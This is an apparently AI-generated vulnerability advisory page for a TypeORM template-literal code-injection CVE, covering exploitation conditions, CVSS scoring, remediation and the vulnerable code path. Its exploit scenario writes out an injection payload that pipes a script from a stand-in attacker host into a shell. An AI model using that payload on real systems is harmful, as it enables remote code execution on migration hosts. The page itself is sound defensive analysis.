Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain database schema write access
-
DeliveryInject ${...} payload into column COMMENT or DEFAULT metadata
-
ExploitDeveloper/CI runs typeorm migration:generate
-
ExecutionPayload embedded unescaped in generated migration file
-
PersistMigration file loaded via migration:run or import
-
ImpactArbitrary JavaScript executes on migration host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three conditions to coincide: (1) the attacker must have database schema write privileges sufficient to modify column COMMENTs, DEFAULT values, CHECK constraints, or view definitions on one of the affected drivers (PostgreSQL, MySQL, MariaDB, or CockroachDB); (2) a developer or automated pipeline must execute typeorm migration:generate against the compromised database; and (3) the resulting migration file must be loaded by Node.js via migration:run, import, or require. The CVSS PR:H metric confirms that elevated database privileges are required - default read-only or application-level credentials that cannot alter schema metadata are not sufficient. Exploitation is further limited by the UI:R metric: a human or automated actor must actively trigger migration generation. Environments where migration:generate is run only against development databases with tightly controlled schema write access are significantly less exposed than CI/CD pipelines that regenerate migrations against shared or production-mirrored schemas. |
| Impact | The NVD CVSS 3.1 vector (AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N) scoring 5.7 accurately reflects the multi-step, high-privilege prerequisites: an attacker must first obtain database schema write access (PR:H), a developer must then run migration:generate against the compromised schema (UI:R), and the generated file must be loaded (AC:H). Despite the C:H/I:H impact ratings, the compounding preconditions substantially limit realistic exploitation. No EPSS data was provided in the intelligence feed; the absence of a KEV listing and public POC independently supports a lower-urgency posture. That said, the impact when conditions align is severe - arbitrary code execution on a developer workstation or CI/CD runner - making this high-priority for teams where CI pipelines automatically generate and run migrations against shared or externally-accessible databases. There is no conflict between the CVSS vector and the description; the network attack vector reflects the attacker's ability to inject the payload remotely via database write access, while local execution occurs on the migration host. |
| Exploit ScenarioDerived | An attacker with write access to the target database - obtained via a compromised application account, a misconfigured privilege, or a separate SQL injection - sets a column COMMENT to ${require('child_process').execSync('curl https://attacker.example/implant.sh|sh')}. When a developer or CI pipeline runs typeorm migration:generate against that database, the payload is embedded verbatim in the generated TypeScript migration file. On the next migration:run or module import, Node.js evaluates the template literal and executes the embedded shell command on the migration host. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 13, 2026
Template-literal code injection in TypeORM's migration:generate command allows an attacker with database schema write access to achieve arbitrary JavaScript execution on any host that loads the generated migration file. Affected are TypeORM npm versions prior to 0.3.31 (0.x branch) and versions 1.0.0 through 1.0.x (fixed in 1.1.0), spanning PostgreSQL, MySQL, MariaDB, and CockroachDB drivers. No active exploitation has been confirmed (not in CISA KEV) and no public exploit code has been identified at time of analysis; however, the GHSA advisory provides sufficient technical detail to reproduce the attack.
RemediationAI
Upgrade TypeORM to version 0.3.31 (for 0.x users) or 1.1.0 (for 1.x users), both available on npm and tagged at https://github.com/typeorm/typeorm/releases/tag/0.3.31 and https://github.com/typeorm/typeorm/releases/tag/1.1.0 respectively. The fix introduces a static escapeTemplateLiteral() method that escapes backslashes, backticks, and the ${ sequence before embedding SQL into generated migration files (commit 41d1c62fe49f99c3ca916d4d986f61ee9f45d519 and b175f9b8be422edd2a2ac035ba90c3f2ce782dfe). If an immediate upgrade is not possible, avoid running migration:generate against databases where untrusted parties can write schema metadata (column COMMENTs, DEFAULT values, CHECK constraints, or view definitions); as a workaround, manually audit any generated migration files for unexpected ${...} expressions before loading them. Restricting database schema write permissions to only trusted automation accounts reduces the attacker's ability to plant a payload. Note that manual auditing is error-prone and should be treated as a temporary measure only.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
TypeORM (CPE: cpe:2.3:a:typeorm:typeorm:*:*:*:*:*:*:*:*) is a widely-used Node.js/TypeScript ORM supporting multiple SQL backends. The vulnerability (CWE-94: Improper Control of Generation of Code) resides in MigrationGenerateCommand.ts (lines 117-138), which wraps introspected SQL statements in JavaScript template literals to produce migration files. The code escaped backtick characters but did not escape the ${...} interpolation sequence. Driver-level query runners for PostgreSQL (PostgresQueryRunner.ts), MySQL/MariaDB (MysqlQueryRunner.ts), and CockroachDB (CockroachQueryRunner.ts) read schema metadata - column COMMENTs, DEFAULT values, CHECK constraints, and view definitions - and pass these strings directly into the template-literal sink. The per-driver escapeComment() function stripped only null bytes, leaving ${...} intact. When the generated migration file is subsequently loaded via migration:run, import, or require, the Node.js JavaScript engine evaluates any embedded ${...} expression as live code.
Know when Typeorm gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N
PR:H for required database schema write access; AC:H for multi-step preconditions; UI:R for developer-triggered migration generation; no availability impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
TypeORM is a TypeScript and JavaScript ORM for Node.js that supports PostgreSQL, MySQL, MariaDB, SQLite, SQL Server, Oracle, and other databases. Prior to versions 0.3.31 and 1.1.0, typeorm migration:generate embeds database schema metadata into JavaScript or TypeScript template literals in src/commands/MigrationGenerateCommand.ts, escaping backticks but not ${...} interpolation. An attacker with database schema write access can place a payload in column COMMENT or DEFAULT metadata, or another introspected schema string, and the JavaScript engine evaluates the payload when the generated migration is loaded through migration:run, import, or require. This issue is fixed in versions 0.3.31 and 1.1.0.
Blast Radius
ecosystem impact- 9 npm packages depend on typeorm (8 direct, 1 indirect)
Ecosystem-wide dependent count for version 1.0.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
The findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. Rated crit
Prototype pollution vulnerability in the TypeORM package < 0.2.25 may allow attackers to add or modify Object properties
EUVD-2026-58194
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB